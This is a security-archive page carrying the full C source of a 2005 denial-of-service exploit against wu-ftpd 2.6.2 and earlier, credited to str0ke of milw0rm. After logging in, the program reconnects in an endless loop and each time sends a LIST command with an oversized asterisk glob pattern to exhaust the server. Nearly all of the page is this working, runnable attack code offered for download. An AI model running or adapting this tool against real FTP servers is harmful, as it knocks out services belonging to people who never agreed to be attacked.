what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wuftpd262DoS.c

wuftpd262DoS.c
Posted Feb 26, 2005
Authored by str0ke | Site milw0rm.com

wu-ftpd versions 2.6.2 and below file globbing denial of service exploit.

tags | exploit, denial of service
SHA-256 | aef936eb0d14e525d6b2d01ab0a0e40e28fbaf9287e89142dcf8c7c027d47f62

wuftpd262DoS.c

Change Mirror Download
/*
* wu-ftpd <= 2.6.2 File Globbing DoS
* str0ke@milw0rm.com
*
* Advisory: http://www.idefense.com/application/poi/display?id=207&type=vulnerabilities&flashstatus=true
*
* Adam Zabrocki (pi3 / pi3ki31ny) is credited with this discovery.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 21
usage(char *name)
{
printf("usage: %s -h hostname/ip -u user -p passwd\n",name);
printf("\t\t/str0ke!milw0rm.com wu-ftpd <= 2.6.2 File Globbing DoS\n");
exit(0);
}

main(int argc, char *argv[]) {
char buffer[1000],host[255],user[255],pass[255],c;
int sd, rc, i=0;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;

if ( argc < 3) {
usage(argv[0]);
}

while ((c = getopt (argc, argv, "h:u:p:")) != EOF)
switch(c)
{
case 'h':
strncpy(host,optarg,sizeof(host));
break;
case 'u':
strncpy(user,optarg,sizeof(user));
break;
case 'p':
strncpy(pass,optarg,sizeof(pass));
break;
}

while(1) {

h = gethostbyname(host);
if(h==NULL) {
printf("unknown host '%s'\n",host);
exit(1);
}

servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
perror("cannot open socket ");
exit(1);
}

localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
localAddr.sin_port = htons(0);

rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
if(rc<0) {
printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
perror("error ");
exit(1);
}

printf("Trying To Connect To [%s]\n",host);
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
perror("cannot connect ");
exit(1);
}
printf("Trying Login With [%s]\n",user);
snprintf(buffer,sizeof(buffer), "USER %s\r\n", user);
rc = send(sd, buffer, strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"331")) break;
if(strstr(buffer,"421"))
{
printf("Access Denied on your arse..\n");
exit(0);
}
}

printf("Sending Pass - [%s]\n",pass);
memset(buffer,0,sizeof(buffer));
snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass);
rc = send(sd,buffer, strlen(buffer), 0);

while(1)
{
rc=recv(sd,buffer,sizeof(buffer),0);
if(strstr(buffer,"230")) break;
if(strstr(buffer,"421"))
{
printf("Access Denied on your arse..\n");
exit(0);
}

if(strstr(buffer,"530"))
{
printf("Access Denied: Login Incorrect!\n");
exit(0);
}
}

memset(buffer,0,sizeof(buffer));
snprintf(buffer,sizeof(buffer), "LIST ***********************************************************************************************************************************************************************************************.*\r\n");
rc = send(sd,buffer, strlen(buffer), 0);
printf("Dos Sent\n");

}

if(rc<0) {
perror("cannot send data ");
close(sd);
exit(1);
}
return 0;
}

// milw0rm.com [2005-02-25]
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close